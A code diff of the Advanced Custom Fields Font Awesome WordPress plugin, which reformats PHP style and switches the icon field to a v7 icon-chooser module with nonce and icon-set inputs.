 			}
@@ -568,33 +311,30 @@
 		return $version;
 	}

-	public function fa_kit_script_attributes( $tag, $handle, $src )
-	{
-		if ( 'acffa_font-awesome-kit' !== $handle ) {
+	public function fa_kit_script_attributes($tag, $handle, $src) {
+		if ('acffa_font-awesome-kit' !== $handle) {
 			return $tag;
 		}

-		if ( stristr( $src, 'https://kit.fontawesome.com/' ) ) {
-			$tag = str_replace( '<script', '<script crossorigin="anonymous"' , $tag );
+		if (stristr($src, 'https://kit.fontawesome.com/')) {
+			$tag = str_replace('<script', '<script crossorigin="anonymous"', $tag);
 		}

 		return $tag;
 	}

-	public function js_api_script_attributes( $tag, $handle, $src )
-	{
-		if ( 'acffa_fontawesome-js-api' !== $handle ) {
+	public function js_api_script_attributes($tag, $handle, $src) {
+		if ('acffa_fontawesome-js-api' !== $handle) {
 			return $tag;
 		}

-		$tag = str_replace( '<script', '<script data-auto-replace-svg="false" data-auto-a11y="false" data-auto-add-css="false" data-observe-mutations="false"' , $tag );
+		$tag = str_replace('<script', '<script data-auto-replace-svg="false" data-auto-a11y="false" data-auto-add-css="false" data-observe-mutations="false"', $tag);

 		return $tag;
 	}

-	public function family_style_string_to_array( $icon_details, $family_style )
-	{
-		switch ( $family_style ) {
+	public function family_style_string_to_array($icon_details, $family_style) {
+		switch ($family_style) {
 			case 'classic_solid':
 				$icon_details = [
 					'family'	=> 'classic',
@@ -727,20 +467,18 @@
 		return $icon_details;
 	}

-	private function maybe_recheck_latest_version()
-	{
-		if ( ( time() - $this->latest_version_timestamp ) > HOUR_IN_SECONDS ) {
-			$latest_version	= apply_filters( 'ACFFA_get_latest_version', '7.0.0', true );
+	private function maybe_recheck_latest_version() {
+		if ((time() - $this->latest_version_timestamp) > HOUR_IN_SECONDS) {
+			$latest_version	= apply_filters('ACFFA_get_latest_version', '7.0.0', true);
 		}
 	}

-	public function standardize_custom_icon_set_family_style( $custom_icon_set )
-	{
-		if ( ! is_array( $custom_icon_set ) ) {
+	public function standardize_custom_icon_set_family_style($custom_icon_set) {
+		if (! is_array($custom_icon_set)) {
 			return $custom_icon_set;
 		}

-		if ( empty( $custom_icon_set ) ) {
+		if (empty($custom_icon_set)) {
 			return $custom_icon_set;
 		}

@@ -754,19 +492,18 @@
 			'custom'	=> 'kit_custom'
 		];

-		foreach ( $custom_icon_set as $key => $icons ) {
-			if ( isset( $replacements[ $key ] ) ) {
-				$custom_icon_set[ $replacements[ $key ] ] = $icons;
-				unset( $custom_icon_set[ $key ] );
+		foreach ($custom_icon_set as $key => $icons) {
+			if (isset($replacements[$key])) {
+				$custom_icon_set[$replacements[$key]] = $icons;
+				unset($custom_icon_set[$key]);
 			}
 		}

 		return $custom_icon_set;
 	}

-	public function get_default_family_by_style( $default_family, $style )
-	{
-		switch( $style ) {
+	public function get_default_family_by_style($default_family, $style) {
+		switch ($style) {
 			case 'custom':
 			case 'fak':
 				$default_family = 'kit';
@@ -784,13 +521,12 @@
 		return $default_family;
 	}

-	private function standardize_icon_set_family_style( $icon_set )
-	{
-		if ( ! is_array( $icon_set ) ) {
+	public function standardize_icon_set_family_style($icon_set) {
+		if (! is_array($icon_set)) {
 			return $icon_set;
 		}

-		if ( empty( $icon_set ) ) {
+		if (empty($icon_set)) {
 			return $icon_set;
 		}

@@ -802,11 +538,12 @@
 			'brands'	=> 'classic_brands',
 			'duotone'	=> 'duotone_solid',
 			'custom'	=> 'kit_custom',
+			'fak'		  => 'kit_custom'
 		];

-		foreach ( $icon_set as $key => $value ) {
-			if ( isset( $replacements[ $value ] ) ) {
-				$icon_set[ $key ] = $replacements[ $value ];
+		foreach ($icon_set as $key => $value) {
+			if (isset($replacements[$value])) {
+				$icon_set[$key] = $replacements[$value];
 			}
 		}

--- a/advanced-custom-fields-font-awesome/fields/acf-font-awesome-v7.php
+++ b/advanced-custom-fields-font-awesome/fields/acf-font-awesome-v7.php
@@ -1,24 +1,22 @@
 <?php

 // exit if accessed directly
-if ( ! defined( 'ABSPATH' ) ) {
+if (! defined('ABSPATH')) {
 	exit;
 }

-if ( ! class_exists( 'acf_field_font_awesome' ) ) :
+if (! class_exists('acf_field_font_awesome')) :

-	class acf_field_font_awesome extends acf_field
-	{
+	class acf_field_font_awesome extends acf_field {
 		private $icons = false;
 		private $version;
 		public	$show_in_rest = true;
 		private $env;

-		public function __construct()
-		{
+		public function __construct() {
 			$this->version = 'v' . ACFFA_MAJOR_VERSION;
 			$this->name = 'font-awesome';
-			$this->label = __( 'Font Awesome Icon', 'acf-font-awesome');
+			$this->label = __('Font Awesome Icon', 'acf-font-awesome');
 			$this->category = 'content';

 			$this->defaults = [
@@ -34,31 +32,30 @@

 			parent::__construct();

-			if ( apply_filters( 'ACFFA_always_enqueue_fa', false ) ) {
-				add_action( 'wp_enqueue_scripts', [ $this, 'frontend_enqueue_scripts' ] );
+			if (apply_filters('ACFFA_always_enqueue_fa', false)) {
+				add_action('wp_enqueue_scripts', [$this, 'frontend_enqueue_scripts']);
 			} else {
-				add_filter( 'acf/load_field', [ $this, 'maybe_enqueue_font_awesome' ] );
+				add_filter('acf/load_field', [$this, 'maybe_enqueue_font_awesome']);
 			}

-			add_filter( 'ACFFA_v5_upgrade_compat_selected_field_sets', [ $this, 'v5_upgrade_compat_selected_field_sets' ], 5, 1 );
-			add_filter( 'ACFFA_v5_upgrade_compat_format_value', [ $this, 'v5_upgrade_compat_format_value' ], 5, 2 );
+			add_filter('ACFFA_v5_upgrade_compat_selected_field_sets', [$this, 'v5_upgrade_compat_selected_field_sets'], 5, 1);
+			add_filter('ACFFA_v5_upgrade_compat_format_value', [$this, 'v5_upgrade_compat_format_value'], 5, 2);
 		}

-		public function render_field_settings( $field )
-		{
-			if ( apply_filters( 'ACFFA_show_fontawesome_pro_blurbs', true ) ) {
-				acf_render_field_setting( $field, [
-					'label'			=> __( 'Get FontAwesome Pro', 'acf-font-awesome' ),
-					'message'		=> '<p>' . __( 'Support this plugin and get more icons across more styles plus helpful services, regular updates, a lifetime license, and actual human support.', 'acf-font-awesome' ) . '</p>' . '<a class="get-acfpro-btn" target="_blank" href="https://fontawesome.com/referral?a=f4be3e1256"><i class="fa-solid fa-carrot"></i>' . __( 'Upgrade to Font Awesome Pro!', 'acf-font-awesome' ) . '</a>',
+		public function render_field_settings($field) {
+			if (apply_filters('ACFFA_show_fontawesome_pro_blurbs', true)) {
+				acf_render_field_setting($field, [
+					'label'			=> __('Get FontAwesome Pro', 'acf-font-awesome'),
+					'message'		=> '<p>' . __('Support this plugin and get more icons across more styles plus helpful services, regular updates, a lifetime license, and actual human support.', 'acf-font-awesome') . '</p>' . '<a class="get-acfpro-btn" target="_blank" href="https://fontawesome.com/referral?a=f4be3e1256"><i class="fa-solid fa-carrot"></i>' . __('Upgrade to Font Awesome Pro!', 'acf-font-awesome') . '</a>',
 					'type'			=> 'message',
 					'name'			=> 'get-fontawesome-pro',
 					'class'			=> 'get-fontawesome-pro'
-				] );
+				]);
 			}

 			$icon_sets_args = [
-				'label'			=> __( 'Icon Sets', 'acf-font-awesome' ),
-				'instructions'	=> __( 'Specify which icon set(s) to load', 'acf-font-awesome' ),
+				'label'			=> __('Icon Sets', 'acf-font-awesome'),
+				'instructions'	=> __('Specify which icon set(s) to load', 'acf-font-awesome'),
 				'type'			=> 'select',
 				'name'			=> 'icon_sets',
 				'multiple'     => 1,
@@ -96,283 +93,255 @@
 				'utility_semisolid'      => __('Utility (Solid)', 'acf-font-awesome'),
 				'utility-duo_semisolid'  => __('Utility Duo (Solid)', 'acf-font-awesome'),
 				'utility-fill_semisolid' => __('Utility Fill (Solid)', 'acf-font-awesome'),
-				'fak'                    => __( 'Uploaded Icons', 'acf-font-awesome' ),
-				'brands'                 => __('Brands', 'acf-font-awesome'),
-				'custom'                 => __('Custom Icon Set', 'acf-font-awesome')
+				'graphite_thin'          => __('Graphite (Thin)', 'acf-font-awesome'),
+				'fak'                    => __('Uploaded Icons', 'acf-font-awesome'),
+				'brands'                 => __('Brands', 'acf-font-awesome')
 			];

 			// Fix duotone family previously saved with no style
-			if ( isset( $field['icon_sets'] ) && is_array( $field['icon_sets'] ) ) {
-				if ( ( $key = array_search( 'duotone', $field['icon_sets'] ) ) !== FALSE ) {
-					$field['icon_sets'][ $key ] = 'duotone_solid';
+			if (isset($field['icon_sets']) && is_array($field['icon_sets'])) {
+				if (($key = array_search('duotone', $field['icon_sets'])) !== FALSE) {
+					$field['icon_sets'][$key] = 'duotone_solid';
 				}
 			}

-			$selected_field_sets	= ! empty( $field['icon_sets'] ) ? $field['icon_sets'] : [ 'classic_solid', 'classic_regular', 'brands' ];
-			$selected_field_sets	= apply_filters( 'ACFFA_v5_upgrade_compat_selected_field_sets', $selected_field_sets );
+			$selected_field_sets	= ! empty($field['icon_sets']) ? $field['icon_sets'] : ['classic_solid', 'classic_regular', 'brands'];
+			$selected_field_sets	= apply_filters('ACFFA_v5_upgrade_compat_selected_field_sets', $selected_field_sets);

 			$icon_sets_args['value'] = $selected_field_sets;

-			acf_render_field_setting( $field, $icon_sets_args );
+			acf_render_field_setting($field, $icon_sets_args);

-			$custom_icon_set_choices = get_option( 'ACFFA_custom_icon_sets_list' );
-			if ( isset( $custom_icon_set_choices[ $this->version ] ) && ! empty( $custom_icon_set_choices[ $this->version ] ) ) {
-				$custom_icon_set_choices = $custom_icon_set_choices[ $this->version ];
-			} else {
-				$custom_icon_set_choices = [ __( 'No custom icon set(s) found', 'acf-font-awesome' ) ];
-			}
-
-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Custom Icon Set', 'acf-font-awesome' ),
-				'instructions'	=> sprintf( __( 'Create custom icon sets in the <a href="%s">FontAwesome Settings page</a>.', 'acf-font-awesome' ), admin_url( '/edit.php?post_type=acf-field-group&page=fontawesome-settings' ) ),
-				'type'			=> 'select',
-				'name'			=> 'custom_icon_set',
-				'class'	  		=> 'custom-icon-set',
-				'choices'		=> $custom_icon_set_choices,
-				'value'			=> isset( $field['custom_icon_set'] ) ? $field['custom_icon_set'] : false,
-				'placeholder'	=> 'Choose an icon set',
-				'allow_null'	=> 1
-			] );
-
-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Icon Preview', 'acf-font-awesome' ),
-				'instructions'	=> '',
-				'type'			=> 'message',
-				'name'			=> 'fa_live_preview',
-				'class'			=> 'live-preview'
-			] );
-
-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Default Label', 'acf-font-awesome' ),
+			acf_render_field_setting($field, [
+				'label'			=> __('Default Label', 'acf-font-awesome'),
 				'instructions'	=> 'Used internally to store the select label for the default icon. For performance reasons.',
 				'type'			=> 'text',
 				'name'			=> 'default_label',
-				'value'			=> ! empty ( $field['default_label'] ) ? $field['default_label'] : $field['default_value'],
+				'value'			=> ! empty($field['default_label']) ? $field['default_label'] : $field['default_value'],
 				'class'			=> 'default_value'
-			] );
+			]);

-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Default Icon', 'acf-font-awesome' ),
+			acf_render_field_setting($field, [
+				'label'			=> __('Default Icon', 'acf-font-awesome'),
 				'instructions'	=> '',
-				'type'			=> 'select',
+				'type'			=> 'text',
 				'name'			=> 'default_value',
-				'class'	  		=> 'select2-fontawesome fontawesome-create',
-				'choices'		=>  ! empty( $field['default_label'] ) ? [ $field['default_value'] => html_entity_decode( $field['default_label'] ) ] : [ $field['default_value'] => $field['default_value'] ],
-				'value'			=> $field['default_value'],
+				'class'	  		=> 'acffa-default-icon',
+				'value'			=> $field['default_value'] ?? '',
 				'placeholder'	=> 'Choose a default icon (optional)',
-				'ui'			=> 1,
 				'allow_null'	=> 1,
-				'ajax'			=> 1,
-				'ajax_action'	=> 'acf/fields/font-awesome/query'
-			] );
-
-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Return Value', 'acf-font-awesome' ),
-				'instructions'	=> __( 'Specify the returned value on front end', 'acf-font-awesome' ),
+			]);
+
+			acf_render_field_setting($field, [
+				'label'			=> __('Return Value', 'acf-font-awesome'),
+				'instructions'	=> __('Specify the returned value on front end', 'acf-font-awesome'),
 				'type'			=> 'radio',
 				'name'			=> 'save_format',
 				'choices'	=>	[
-					'element'	=>	__( 'Icon Element', 'acf-font-awesome' ),
-					'class'		=>	__( 'Icon Class', 'acf-font-awesome' ),
-					'unicode'	=>	__( 'Icon Unicode', 'acf-font-awesome' ),
-					'object'	=>	__( 'Icon Object', 'acf-font-awesome' ),
+					'element'	=>	__('Icon Element', 'acf-font-awesome'),
+					'class'		=>	__('Icon Class', 'acf-font-awesome'),
+					'unicode'	=>	__('Icon Unicode', 'acf-font-awesome'),
+					'object'	=>	__('Icon Object', 'acf-font-awesome'),
 				]
-			] );
+			]);

-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Allow Null?', 'acf-font-awesome' ),
+			acf_render_field_setting($field, [
+				'label'			=> __('Allow Null?', 'acf-font-awesome'),
 				'instructions'	=> '',
 				'type'			=> 'radio',
 				'name'			=> 'allow_null',
 				'choices'	=>	[
-					1	=>	__( 'Yes', 'acf-font-awesome' ),
-					0	=>	__( 'No', 'acf-font-awesome' )
+					1	=>	__('Yes', 'acf-font-awesome'),
+					0	=>	__('No', 'acf-font-awesome')
 				]
-			] );
+			]);

-			acf_render_field_setting( $field, [
-				'label'			=> __( 'Show Icon Preview', 'acf-font-awesome' ),
-				'instructions'	=> __( 'Set to 'Yes' to include a larger icon preview on any admin pages using this field.', 'acf-font-awesome' ),
+			acf_render_field_setting($field, [
+				'label'			=> __('Show Icon Preview', 'acf-font-awesome'),
+				'instructions'	=> __('Set to 'Yes' to include a larger icon preview on any admin pages using this field.', 'acf-font-awesome'),
 				'type'			=> 'radio',
 				'name'			=> 'show_preview',
 				'choices'	=>	[
-					1	=>	__( 'Yes', 'acf-font-awesome' ),
-					0	=>	__( 'No', 'acf-font-awesome' )
+					1	=>	__('Yes', 'acf-font-awesome'),
+					0	=>	__('No', 'acf-font-awesome')
 				]
-			] );
+			]);

-			if ( ! apply_filters( 'ACFFA_always_enqueue_fa', false ) ) {
-				acf_render_field_setting( $field, [
-					'label'			=> __( 'Enqueue FontAwesome?', 'acf-font-awesome' ),
-					'instructions'	=> __( 'Set to 'Yes' to enqueue FA in the footer on any pages using this field.', 'acf-font-awesome' ),
+			if (! apply_filters('ACFFA_always_enqueue_fa', false)) {
+				acf_render_field_setting($field, [
+					'label'			=> __('Enqueue FontAwesome?', 'acf-font-awesome'),
+					'instructions'	=> __('Set to 'Yes' to enqueue FA in the footer on any pages using this field.', 'acf-font-awesome'),
 					'type'			=> 'radio',
 					'name'			=> 'enqueue_fa',
 					'choices'	=>	[
-						1	=>	__( 'Yes', 'acf-font-awesome' ),
-						0	=>	__( 'No', 'acf-font-awesome' )
+						1	=>	__('Yes', 'acf-font-awesome'),
+						0	=>	__('No', 'acf-font-awesome')
 					]
-				] );
+				]);
 			}
 		}

-		public function render_field( $field )
-		{
-			if ( $field['allow_null'] ) {
+		public function render_field($field) {
+			if ($field['allow_null']) {
 				$select_value = $field['value'];
 			} else {
-				$select_value = ( 'null' != $field['value'] ) ? $field['value'] : $field['default_value'];
+				$select_value = ('null' != $field['value']) ? $field['value'] : $field['default_value'];
 			}

 			$v5_icon_preselected = false;

-			$field['type']		= 'select';
-			$field['ui']		= 1;
-			$field['ajax']		= 1;
-			$field['choices']	= [];
-			$field['multiple']	= false;
-			$field['class']		= $v5_icon_preselected ? 'v5_icon_preselected' : '';
-			if ( ! empty( $field['icon_sets'] ) && in_array( 'custom', $field['icon_sets'] ) && ! empty( $field['custom_icon_set'] ) ) {
-				$field['class'] .= ' fa6 select2-fontawesome fontawesome-edit custom-icon-set';
-			} else {
-				$field['class'] .= ' fa6 select2-fontawesome fontawesome-edit';
-			}
-
-			if ( $select_value ) :
-				$icon_info = json_decode( $select_value );
-				if ( is_object( $icon_info ) ) {
-					$family = isset( $icon_info->family ) ? $icon_info->family : apply_filters( 'ACFFA_default_family_by_style', 'classic', $icon_info->style );
-					$style = isset( $icon_info->style ) ? $icon_info->style : '';
+			$field['type']		= 'text';
+			$field['value']		= $select_value;
+			$field['icon_sets']	= isset($field['icon_sets']) ? apply_filters('ACFFA_standardize_icon_set_family_style', $field['icon_sets']) : ['classic_solid', 'classic_regular', 'brands'];
+			$field['prepend'] = '';
+			$field['append'] = '';
+			$field['class']		= $v5_icon_preselected ? 'v5_icon_preselected selected-icon hidden' : 'selected-icon hidden';
+
+			if ($select_value) :
+				$icon_info = json_decode($select_value);
+				if (is_object($icon_info)) {
+					$family = isset($icon_info->family) ? $icon_info->family : apply_filters('ACFFA_default_family_by_style', 'classic', $icon_info->style);
+					$style = isset($icon_info->style) ? $icon_info->style : '';
 					$classes = [];
-					if ( 'classic' !== $family ) {
-						$classes[] = 'fa-' . str_replace( '_', '-', $family );
+					if ('classic' !== $family) {
+						$classes[] = 'fa-' . str_replace('_', '-', $family);
 					}
-					if ( $style ) {
+					if ($style) {
 						$classes[] = 'fa-' . $style;
 					}
 					$classes[] = 'fa-' . $icon_info->id;
-					$field['choices'][ $select_value ] = '<i class="' . implode( ' ', $classes ) . ' fa-fw"></i> ' . $icon_info->label;
 				} else {
 					$v5_icon_preselected	= true;
-					$options				= get_option( 'acffa_settings' );
-					$label					= isset( $options['acffa_v5_compatibility_mode'] ) && $options['acffa_v5_compatibility_mode'] ? '[v5-compat-lookup]' : false;
-
-					$field['choices'][ $select_value ] = $label;
+					$options				= get_option('acffa_settings');
+					$label					= isset($options['acffa_v5_compatibility_mode']) && $options['acffa_v5_compatibility_mode'] ? '[v5-compat-lookup]' : false;
 				}
 			endif;

-			if ( $field['show_preview'] ) :
-				if ( $v5_icon_preselected ) :
-					?>
+			if ($field['show_preview']) :
+				if ($v5_icon_preselected) :
+?>
 					<div class="icon_preview v5-compat-alert show-alert">
 						<i class="fas fa-exclamation-circle"></i>
 					</div>
-					<?php
+				<?php
 				else :
-					?>
-					<div class="icon_preview"></div>
-					<?php
-				endif;
+				?>
+					<?php if (isset($icon_info) && is_object($icon_info)) : ?>
+						<div class="icon_preview">
+							<i class="<?php echo esc_attr(implode(' ', $classes)); ?>"></i>
+						</div>
+					<?php else : ?>
+						<div class="icon_preview">
+						</div>
+					<?php endif; ?>
+				<?php endif; ?>
+				<button type="button" class="button fa-icon-chooser-open"><?php esc_html_e('Choose icon', 'acf-font-awesome'); ?></button>
+				<input type="hidden" name="acffa_nonce" class="acffa-nonce" value="<?= esc_attr(wp_create_nonce('acffa_nonce')); ?>" />
+				<input type="hidden" name="icon_sets" class="icon-sets" value="<?= esc_attr(implode(',', $field['icon_sets'])); ?>" />
+			<?php
 			endif;

-			if ( $v5_icon_preselected ) :
-				$previous_icon_info = $this->get_previous_icon_info( $select_value );
-				?>
-				<div class="v5-compat-message" aria-label="<?php esc_html_e( 'This FontAwesome v5 Pro icon cannot be automatically translated to its v6 equivalent and will need to be reselected before saving this post/page.', 'acf-font-awesome' ); ?>" data-microtip-size="large" data-microtip-position="top" role="tooltip">
-					<?php echo sprintf (esc_html__( 'Please reselect your FontAwesome Icon.', 'acf-font-awesome' ), 'SOLID', 'COFFEE' ); ?> <i class="fas fa-question-circle"></i>
+			if ($v5_icon_preselected) :
+				$previous_icon_info = $this->get_previous_icon_info($select_value);
+			?>
+				<div class="v5-compat-message" aria-label="<?php esc_html_e('This FontAwesome v5 Pro icon cannot be automatically translated to its v6 equivalent and will need to be reselected before saving this post/page.', 'acf-font-awesome'); ?>" data-microtip-size="large" data-microtip-position="top" role="tooltip">
+					<?php echo sprintf(esc_html__('Please reselect your FontAwesome Icon.', 'acf-font-awesome'), 'SOLID', 'COFFEE'); ?> <i class="fas fa-question-circle"></i>
+					<?php
+					if (isset($previous_icon_info['style']) && ! empty($previous_icon_info['style'])) :
+					?>
+						<em><?php esc_html_e('Style:', 'acf-font-awesome'); ?></em> <strong><?php echo esc_html($previous_icon_info['style']); ?></strong>
 					<?php
-						if ( isset( $previous_icon_info['style'] ) && ! empty( $previous_icon_info['style'] ) ) :
-							?>
-							<em><?php esc_html_e( 'Style:', 'acf-font-awesome' ); ?></em> <strong><?php echo esc_html( $previous_icon_info['style'] ); ?></strong>
-							<?php
-						endif;
-						if ( isset( $previous_icon_info['name'] ) && ! empty( $previous_icon_info['name'] ) ) :
-							?>
-							<em><?php esc_html_e( 'Name:', 'acf-font-awesome' ); ?></em> <strong><?php echo esc_html( $previous_icon_info['name'] ); ?></strong>
-							<?php
-						endif;
+					endif;
+					if (isset($previous_icon_info['name']) && ! empty($previous_icon_info['name'])) :
+					?>
+						<em><?php esc_html_e('Name:', 'acf-font-awesome'); ?></em> <strong><?php echo esc_html($previous_icon_info['name']); ?></strong>
+					<?php
+					endif;
 					?>
 				</div>
-				<?php
+<?php
 			endif;

-			acf_render_field( $field );
+			acf_render_field($field);
 		}

-		public function input_admin_enqueue_scripts()
-		{
+		public function input_admin_enqueue_scripts() {
 			$version		= ACFFA_VERSION;
-			$options		= get_option( 'acffa_settings' );
-			$latest_version	= apply_filters( 'ACFFA_get_latest_version', '6.0.0' );
+			$options		= get_option('acffa_settings');
+			$latest_version	= apply_filters('ACFFA_get_latest_version', '6.0.0');

-			if ( isset( $options['acffa_v5_compatibility_mode'] ) && $options['acffa_v5_compatibility_mode'] ) {
-				wp_enqueue_script( 'acffa_fontawesome-js-api', "https://use.fontawesome.com/releases/v$latest_version/js/all.js", [], $latest_version );
+			if (isset($options['acffa_v5_compatibility_mode']) && $options['acffa_v5_compatibility_mode']) {
+				wp_enqueue_script('acffa_fontawesome-js-api', "https://use.fontawesome.com/releases/v$latest_version/js/all.js", [], $latest_version);
 			}
-			wp_enqueue_script( 'acf-input-font-awesome', ACFFA_PUBLIC_PATH . "assets/js/input-v6.js", [ 'acf-input' ], $version );
-			wp_localize_script( 'acf-input-font-awesome', 'ACFFA', [
+			wp_register_script_module('acffa-icon-chooser-module', ACFFA_PUBLIC_PATH . "assets/js/fa-icon-chooser.esm.js", [], $version);
+			wp_enqueue_script_module('acffa-icon-chooser-module');
+			wp_enqueue_script('acf-input-font-awesome', ACFFA_PUBLIC_PATH . "assets/js/input-v7.js", ['acf-input'], $version);
+			wp_localize_script('acf-input-font-awesome', 'ACFFA', [
 				'major_version'		=> ACFFA_MAJOR_VERSION,
-				'v5_compat_mode'	=> isset( $options['acffa_v5_compatibility_mode'] ) && $options['acffa_v5_compatibility_mode'] ? true : false
-			] );
-
-			wp_enqueue_style( 'acf-input-microtip', ACFFA_PUBLIC_PATH . "assets/inc/microtip/microtip.min.css", [], '1.0.0' );
-			wp_enqueue_style( 'acf-input-font-awesome', ACFFA_PUBLIC_PATH . "assets/css/input.css", [ 'acf-input' ], $version );
-
-			if ( apply_filters( 'ACFFA_admin_enqueue_fa', true ) ) {
-				$fa_url = apply_filters( 'ACFFA_get_fa_url', '' );
-				if ( stristr( $fa_url, 'https://kit.fontawesome.com/' ) ) {
-					wp_enqueue_script( 'acffa_font-awesome-kit', $fa_url );
+				'v5_compat_mode'	=> isset($options['acffa_v5_compatibility_mode']) && $options['acffa_v5_compatibility_mode'] ? true : false,
+				'kit_token'			=> apply_filters('ACFFA_fontawesome_kit_token', false),
+				'latest_version'	=> $latest_version,
+				'nonce'				=> wp_create_nonce('acffa_nonce'),
+				'ajax_url'			=> admin_url('admin-ajax.php')
+			]);
+
+			wp_enqueue_style('acf-input-microtip', ACFFA_PUBLIC_PATH . "assets/inc/microtip/microtip.min.css", [], '1.0.0');
+			wp_enqueue_style('acf-input-font-awesome', ACFFA_PUBLIC_PATH . "assets/css/input.css", ['acf-input'], $version);
+
+			if (apply_filters('ACFFA_admin_enqueue_fa', true)) {
+				$fa_url = apply_filters('ACFFA_get_fa_url', '');
+				if (stristr($fa_url, 'https://kit.fontawesome.com/')) {
+					wp_enqueue_script('acffa_font-awesome-kit', $fa_url);
 				} else {
-					wp_enqueue_style( 'acffa_font-awesome', $fa_url, [ 'acf-input' ], $latest_version );
+					wp_enqueue_style('acffa_font-awesome', $fa_url, ['acf-input'], $latest_version);
 				}
 			}
 		}

-		public function maybe_enqueue_font_awesome( $field )
-		{
-			if ( 'font-awesome' == $field['type'] && $field['enqueue_fa'] ) {
-				add_action( 'wp_footer', [ $this, 'frontend_enqueue_scripts' ] );
+		public function maybe_enqueue_font_awesome($field) {
+			if ('font-awesome' == $field['type'] && $field['enqueue_fa']) {
+				add_action('wp_footer', [$this, 'frontend_enqueue_scripts']);
 			}

 			return $field;
 		}

-		public function frontend_enqueue_scripts()
-		{
-			$fa_url = apply_filters( 'ACFFA_get_fa_url', '' );
-			if ( stristr( $fa_url, 'https://kit.fontawesome.com/' ) ) {
-				wp_enqueue_script( 'acffa_font-awesome-kit', $fa_url );
+		public function frontend_enqueue_scripts() {
+			$fa_url = apply_filters('ACFFA_get_fa_url', '');
+			if (stristr($fa_url, 'https://kit.fontawesome.com/')) {
+				wp_enqueue_script('acffa_font-awesome-kit', $fa_url);
 			} else {
-				$latest_version	= apply_filters( 'ACFFA_get_latest_version', '6.0.0' );
-				wp_enqueue_style( 'acffa_font-awesome', $fa_url, [], $latest_version );
+				$latest_version	= apply_filters('ACFFA_get_latest_version', '6.0.0');
+				wp_enqueue_style('acffa_font-awesome', $fa_url, [], $latest_version);
 			}
 		}

-		public function format_value( $value, $post_id, $field )
-		{
-			if ( 'null' == $value ) {
+		public function format_value($value, $post_id, $field) {
+			if ('null' == $value) {
 				return false;
 			}

-			if ( empty( $value ) ) {
+			if (empty($value)) {
 				return $value;
 			}

-			$icon_json = json_decode( $value );
+			$icon_json = json_decode($value);

-			if ( is_object( $icon_json ) ) {
-				$family = isset( $icon_json->family ) ? $icon_json->family : apply_filters( 'ACFFA_default_family_by_style', 'classic', $icon_json->style );
-				$style = isset( $icon_json->style ) ? $icon_json->style : '';
+			if (is_object($icon_json)) {
+				$family = isset($icon_json->family) ? $icon_json->family : apply_filters('ACFFA_default_family_by_style', 'classic', $icon_json->style);
+				$style = isset($icon_json->style) ? $icon_json->style : '';
 				$classes = [];
 				if ('classic' !== $family) {
 					$classes[] = 'fa-' . str_replace('_', '-', $family);
 				}
-				if ( $style ) {
+				if ($style) {
 					$classes[] = 'fa-' . $style;
 				}
 				$classes[] = 'fa-' . $icon_json->id;
-				$class = implode( ' ', $classes );
-				$prefix = implode( ' ', array_slice( $classes, 0, -1 ) );
+				$class = implode(' ', $classes);
+				$prefix = implode(' ', array_slice($classes, 0, -1));

-				switch ( $field['save_format'] ) {
+				switch ($field['save_format']) {
 					case 'element':
 						$value = '<i class="' . esc_attr($class) . '" aria-hidden="true"></i>';
 						break;
@@ -397,11 +366,11 @@
 							'unicode' 	=> '&#x' . $icon_json->unicode . ';'
 						];

-						if ( 'fak' == $icon_json->style || 'custom' == $icon_json->style ) {
+						if ('fak' == $icon_json->style || 'custom' == $icon_json->style) {
 							$path_data_element = '<svg class="svg-inline--fa" viewBox="0 0 ' . $icon_json->width . ' ' . $icon_json->height . '">';
-							if ( is_array( $icon_json->path ) ) {
-								foreach ( $icon_json->path as $path ) {
-									if ( ! empty( $path ) ) {
+							if (is_array($icon_json->path)) {
+								foreach ($icon_json->path as $path) {
+									if (! empty($path)) {
 										$path_data_element .= '<path d="' . $path . '" />';
 									}
 								}
@@ -411,50 +380,49 @@
 							$path_data_element .= '</svg>';

 							$svg_data = [
-								'element'	=> isset( $icon_json->html ) ? $icon_json->html : $path_data_element,
+								'element'	=> isset($icon_json->html) ? $icon_json->html : $path_data_element,
 								'path'		=> $icon_json->path,
 								'height'	=> $icon_json->height,
 								'width'		=> $icon_json->width
 							];
-							$object_data['svg'] = ( object ) $svg_data;
+							$object_data['svg'] = (object) $svg_data;
 						}

-						$value = ( object ) $object_data;
+						$value = (object) $object_data;
 						break;
 				}
 			} else {
-				$value = apply_filters( 'ACFFA_v5_upgrade_compat_format_value', $value, $field['save_format'] );
+				$value = apply_filters('ACFFA_v5_upgrade_compat_format_value', $value, $field['save_format']);
 			}

 			return $value;
 		}

-		public function v5_upgrade_compat_format_value( $value, $save_format )
-		{
-			if ( 'false' == $value ) {
+		public function v5_upgrade_compat_format_value($value, $save_format) {
+			if ('false' == $value) {
 				return;
 			}

-			$icons		= get_option( 'ACFFA_icon_data' );
-			$version	= get_option( 'ACFFA_current_version', '5.15.4' );
+			$icons		= get_option('ACFFA_icon_data');
+			$version	= get_option('ACFFA_current_version', '5.15.4');

-			if ( ! $icons || ! isset( $icons[ $version ] ) ) {
+			if (! $icons || ! isset($icons[$version])) {
 				return $value;
 			}

-			$icons = $icons[ $version ];
+			$icons = $icons[$version];

-			if ( version_compare( $version, 5, '<' ) ) {
-				$icon = isset( $icons['details'][ $value ] ) ? $icons['details'][ $value ] : false;
+			if (version_compare($version, 5, '<')) {
+				$icon = isset($icons['details'][$value]) ? $icons['details'][$value] : false;
 			} else {
-				$prefix = substr( $value, 0, 3 );
-				$icon = isset( $icons['details'][ $prefix ][ $value ] ) ? $icons['details'][ $prefix ][ $value ] : false;
+				$prefix = substr($value, 0, 3);
+				$icon = isset($icons['details'][$prefix][$value]) ? $icons['details'][$prefix][$value] : false;
 			}

-			if ( $icon ) {
-				switch ( $save_format ) {
+			if ($icon) {
+				switch ($save_format) {
 					case 'element':
-						if ( version_compare( $version, 5, '<' ) ) {
+						if (version_compare($version, 5, '<')) {
 							$value = '<i class="fa ' . $value . '" aria-hidden="true"></i>';
 						} else {
 							$value = '<i class="' . $value . '" aria-hidden="true"></i>';
@@ -473,11 +441,11 @@
 							'unicode' => $icon['unicode']
 						);

-						if ( version_compare( $version, 5, '>=' ) ) {
+						if (version_compare($version, 5, '>=')) {
 							$object_data['prefix'] = $prefix;
 						}

-						$value = ( object ) $object_data;
+						$value = (object) $object_data;
 						break;
 				}
 			}
